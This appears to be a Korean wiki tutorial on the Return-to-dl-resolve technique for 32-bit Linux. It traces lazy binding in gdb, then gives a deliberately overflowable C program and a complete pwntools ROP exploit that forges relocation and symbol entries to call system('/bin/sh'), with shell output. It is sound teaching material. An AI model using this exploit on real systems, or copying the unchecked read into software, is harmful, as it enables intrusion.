Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

List

Table of Contents
excludeList

Return-to-dl-resolve - x86

  • Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.
  • Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다.

Lazy binding

Flow

  • Lazy binding을 위해 다음과 같이 함수가 호출됩니다.
    • _dl_runtime_resolve() → _dl_fixup() → _dl_lookup_symbol_x() → do_lookup_x()→ check_match()

Source code - struct

  • Elf32_Rel 구조체는 재배치 테이블 항목을 저장합니다.

...

Info

Source code

  • _dl_runtime_resolve() 함수는 다음과 같이 동작합니다.
    • _dl_fixup() 함수에 전달된 인자 값을 레지스터에 저장 후 _dl_fixup() 함수를 호출합니다.
    • _dl_fixup() 함수에 전달되는 인자 값은 2개 입니다.
      • struct link_map *
      • reloc_arg

...


Panel
titleReturn-to-dl-resolve


Debug

  • 해당 프로그램에서는 main() 함수에서 write() 함수를 처음 호출하게됩니다.
    • 디버깅을 위해 0x8048320 영역에 Break point를 설정합니다.

...

Panel
titleCall _dl_runtime_resolve()

_dl_runtime_resolve()

  • _dl_runtime_resolve() 함수에서는 다음과 같이 동작합니다.

    • eax,ecx,edx에 저장된 값을 Stack에 저장합니다.

    • eax 레지스터에는 _dl_fixup() 함수의 첫번째 인자 값(0xb7fff918)을 저장합니다.

    • edx 레지스터에는 _dl_fixup() 함수의 두번째 인자 값(0x10)을 저장합니다.

Code Block
title_dl_runtime_resolve()
gdb-peda$ b *0xb7ff0020
Breakpoint 3 at 0xb7ff0020: file ../sysdeps/i386/dl-trampoline.S, line 35.
gdb-peda$ c
Continuing.

gdb-peda$ disassemble _dl_runtime_resolve 
Dump of assembler code for function _dl_runtime_resolve:
   0xb7ff0000 <+0>:	push   eax
   0xb7ff0001 <+1>:	push   ecx
   0xb7ff0002 <+2>:	push   edx
   0xb7ff0003 <+3>:	mov    edx,DWORD PTR [esp+0x10]
   0xb7ff0007 <+7>:	mov    eax,DWORD PTR [esp+0xc]
   0xb7ff000b <+11>:	call   0xb7fe97e0 <_dl_fixup>
   0xb7ff0010 <+16>:	pop    edx
   0xb7ff0011 <+17>:	mov    ecx,DWORD PTR [esp]
   0xb7ff0014 <+20>:	mov    DWORD PTR [esp],eax
   0xb7ff0017 <+23>:	mov    eax,DWORD PTR [esp+0x4]
   0xb7ff001b <+27>:	ret    0xc
End of assembler dump.
gdb-peda$ b *0xb7ff002b
Breakpoint 4 at 0xb7ff002b: file ../sysdeps/i386/dl-trampoline.S, line 43.
gdb-peda$ c
Continuing.

Breakpoint 4, _dl_runtime_resolve () at ../sysdeps/i386/dl-trampoline.S:43
43	in ../sysdeps/i386/dl-trampoline.S
gdb-peda$ i r edx
edx            0x10	0x10
gdb-peda$ i r eax
eax            0xb7fff918	0xb7fff918
gdb-peda$

_dl_fixup()

  • 해당 코드에 의해 edx 레지스터에 Elf32_Rel 구조체의 주소값이 저장됩니다.
    • DWORD PTR [ecx+0x4] 영역에 저장된 값은 ".rel.plt" 영역의 시작 주소입니다.

...

Panel
titlestrtab + sym->st_name

_dl_lookup_symbol_x()

  • 다음과 코드에 의해 undef_name에 저장된 값에 대한 hash값을 연산합니다.

    • undef_name에 저장된 값은 "write"입니다.

    • dl_new_hash() 함수의 코드 영역은 0xb7fe4a90 ~ 0xb7fe4aa1 까지 입니다.

    • "write" 문자열에 대한 new_hash 값은 0x10a8b550 입니다.

Code Block
titleconst uint_fast32_t new_hash = dl_new_hash (undef_name)
gdb-peda$ disassemble _dl_lookup_symbol_x
Dump of assembler code for function _dl_lookup_symbol_x:
   ...
   0xb7fe4a90 <+48>:	mov    ecx,ebx
   0xb7fe4a92 <+50>:	add    edx,0x1
   0xb7fe4a95 <+53>:	shl    ecx,0x5
   0xb7fe4a98 <+56>:	add    ebx,ecx
   0xb7fe4a9a <+58>:	add    ebx,eax
   0xb7fe4a9c <+60>:	movzx  eax,BYTE PTR [edx]
   0xb7fe4a9f <+63>:	test   al,al
   0xb7fe4aa1 <+65>:	jne    0xb7fe4a90 <_dl_lookup_symbol_x+48>
   ...
gdb-peda$ b *0xb7fe4a9a
Breakpoint 3 at 0xb7fe4a9a: file dl-lookup.c, line 569.
gdb-peda$ c
Continuing.

Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825d "write") at dl-lookup.c:569
569	dl-lookup.c: No such file or directory.
gdb-peda$ c
Continuing.
Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825e "rite") at dl-lookup.c:569
569	in dl-lookup.c
gdb-peda$ 
Continuing.

Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825d "write") at dl-lookup.c:569
569	dl-lookup.c: No such file or directory.
gdb-peda$ 
Continuing.
Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825e "rite") at dl-lookup.c:569
569	in dl-lookup.c
gdb-peda$ 
Continuing.

Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x8048261 "e") at dl-lookup.c:569
569	in dl-lookup.c
gdb-peda$ ni

568	in dl-lookup.c
gdb-peda$ i r ebx
ebx            0x10a8b550	0x10a8b550
gdb-peda$

do_lookup_x()

  • 다음 영역에서 "new_hash % map→l_nbuckets" 연산 결과를 확인 할 수 있습니다.

    • 0xb7fe45a0영역에 Break point를 설정합니다.

    • div 명령어에 의해 연산된 나머지 값을 저장하기 위해 xor명령어를 이용해 edx 레지스터의 값을 초기화 합니다.
    • 나누기 대상인 new_hash(0x10a8b550) 를 eax 레지스터에 저장합니다.
    • div 명령어를 이용하여 eax에 저장된 값과 esp + 0x18에 저장된 map→l_nbuckets(0x000003f3) 값을 나눕니다.
    • 해당 값을 나누어 얻은 몫(0x437e2)은 eax에 저장되며, 나머지 값(0x3ca)은 edx에 저장됩니다.

...

Info
titleSource code for _dl_runtime_resolve()

Proof of concept

Example code

Code Block
languagecpp
//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
 
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x0804843b : vuln 함수 코드 첫부분

    • 0x0804844f : read() 함수 호출 전

...

Code Block
titleCheck overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/dl_resolve/rop 
Hello ROP


Breakpoint 1, 0x0804843b in vuln ()
gdb-peda$ i r esp
esp            0xbffff5cc	0xbffff5cc
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0804844f in vuln ()
gdb-peda$ x/3wx $esp
0xbffff570:	0x00000000	0xbffff58e	0x00000200
gdb-peda$ p/d 0xbffff5cc - 0xbffff58e
$1 = 62
gdb-peda$ 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

...

Panel
title확인해야 할 정보 목록
  • Section Headers
    • .bss
    • .dynsym
    • .dynstr
    • .rel.plt
  • read@plt , read@got 주소
  • FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym 구조체

Find Section Headers

  • 다음과 같은 방식을 Section Headers를 찾을 수 있습니다.

...

Code Block
titlePWNTOOLS
from pwn import *
from struct import *

elf = ELF('./rop')
 
# get section address
addr_dynsym 	= elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr 	= elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt 	= elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt    	= elf.get_section_by_name('.plt').header['sh_addr']
addr_bss    	= elf.get_section_by_name('.bss').header['sh_addr']
addr_plt_read   = elf.plt['read']
addr_got_read   = elf.got['read']

log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@plt : ' + hex(addr_plt_read))
log.info('read@got : ' + hex(addr_got_read))

FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym

  • 다음과 같이 Fake 정보 영역을 확보합니다.

    • addr_fake_reloc 영역은 base_stage + 20 에 위치합니다.

      • base_stage ~ base_stage + 20 영역에는 addr_plt, fake_reloc_offset, tmp date, addr_fake_cmd,등의 정보가 저장됩니다.
    • addr_fake_sym 영역은 addr_fake_reloc 에 Elf32_Rel 구조체 크기(8)을 더한 곳에 위치 합니다.
    • addr_fake_symstr 영역은 addr_fake_sym 에서 Elf32_Sym 구조체 크기(16)를 더한 곳에 위치 합니다.

    • addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.

  • 다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.
    • addr_fake_reloc 값에서 addr_relplt 값을 빼서 fake_reloc_offset 값을 생성합니다.
    • fake_r_info 값은 다음과 같이 생성합니다.

      • addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(16)를 곱합니다.
      • ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 ~0xFF(-256)를 AND 연산합니다.
      • ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.
    • addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.
Code Block
languagepy
titleFAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym
stack_size = 0x300
base_stage = addr_bss + stack_size

addr_fake_reloc  = base_stage + 20
addr_fake_sym 	 = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd 	 = addr_fake_symstr +7
 
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info 	  = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF 	#FAKE ELF32_R_SYM
fake_r_info	  = fake_r_info | 0x7					#FAKE ELF32_R_TYPE
fake_st_name 	  = addr_fake_symstr - addr_dynstr

 Move to ".bss"(Change the value of the esp register)

  • vuln()함수의 취약성을 이용해 ".bss" 영역에 2번째 ROP코드를 저장한 후에 ".bss" 영역으로 이동하기 위해 다음과 같은 ROP코드를 작성합니다.
    • "pop ebp; ret" Gadget을 이용하여 base_stage 값을 ebp 레지스터에 저장합니다.
    • "leave; retGadget을 이용해 코드의 흐름을 Stack 영역에서 ".bss" 영역으로 변경됩니다.
      • "leave; " 명령어에 의해 ebp 레지스터에 저장된 값을 esp에 저장됩니다.
      • "ret;" 명령어에 의해 rsp 레지스터에 저장된 주소(Gadbase_stage + 0x4)로 이동합니다.
Code Block
languagepy
titleMove to ".bss"
#read(0,base_stage,100)
#jmp base_stage
buf1 = 'A'* 62
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)

Return-to-dl-resolve

  • ".bss" 영역에 다음과 같이 Data를 저장합니다.
Code Block
languagepy
title_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = 'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += 'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read) 
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name) 
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'

Exploit code

Code Block
languagepy
titleRop.py
from pwn import *
from struct import *
  
#context.log_level = 'debug'
elf = ELF('./rop')
 
# get section address
addr_dynsym 	= elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr 	= elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt 	= elf.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt    	= elf.get_section_by_name('.plt').header['sh_addr']
addr_bss    	= elf.get_section_by_name('.bss').header['sh_addr']
addr_plt_read   = elf.plt['read']
addr_got_read   = elf.got['read']

log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rel.plt : ' + hex(addr_relplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@plt : ' + hex(addr_plt_read))
log.info('read@got : ' + hex(addr_got_read))
 
addr_pop3 = 0x080484e9
addr_pop_ebp = 0x080484eb
addr_leave_ret = 0x080483a8

stack_size = 0x300
base_stage = addr_bss + stack_size

#read(0,base_stage,100)
#jmp base_stage
buf1 = 'A'* 62
buf1 += p32(addr_plt_read)
buf1 += p32(addr_pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(addr_pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(addr_leave_ret)
 
addr_fake_reloc  = base_stage + 20
addr_fake_sym 	 = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd 	 = addr_fake_symstr +7
 
fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info 	  = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF 	#FAKE ELF32_R_SYM
fake_r_info	  = fake_r_info | 0x7									#FAKE ELF32_R_TYPE
fake_st_name 	  = addr_fake_symstr - addr_dynstr

log.info('') 
log.info('Fake Struct Information')
log.info('fake_reloc_offset : ' + hex(fake_reloc_offset))
log.info('addr_fake_cmd   : ' + hex(addr_fake_cmd))
log.info('addr_got_read   : ' + hex(addr_got_read))
log.info('fake_r_info   : ' + hex(fake_r_info))
log.info('fake_st_name   : ' + hex(fake_st_name))

#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = 'AAAA'
buf2 += p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += 'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(addr_got_read) 
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name) 
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
 
binary = ELF(elf.path)
p = process(binary.path)
p.recvn(10)
p.send(buf1)
p.send(buf2)
p.interactive()
Code Block
titleGet shell!
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ python exploit.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/lazenca0x0/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/lazenca0x0/Exploit/dl_resolve/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Section Headers
[*] .dynsym  : 0x80481cc
[*] .dynstr  : 0x804822c
[*] .rel.plt : 0x80482b0
[*] .plt     : 0x80482f0
[*] .bss     : 0x804a020
[*] read@plt : 0x8048300
[*] read@got : 0x804a00c
[*] 
[*] Fake Struct Information
[*] fake_reloc_offset : 0x2084
[*] addr_fake_cmd   : 0x804a353
[*] addr_got_read   : 0x804a00c
[*] fake_r_info   : 0x21707
[*] fake_st_name   : 0x2120
[+] Starting local process '/home/lazenca0x0/Exploit/dl_resolve/rop': pid 12887
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References

...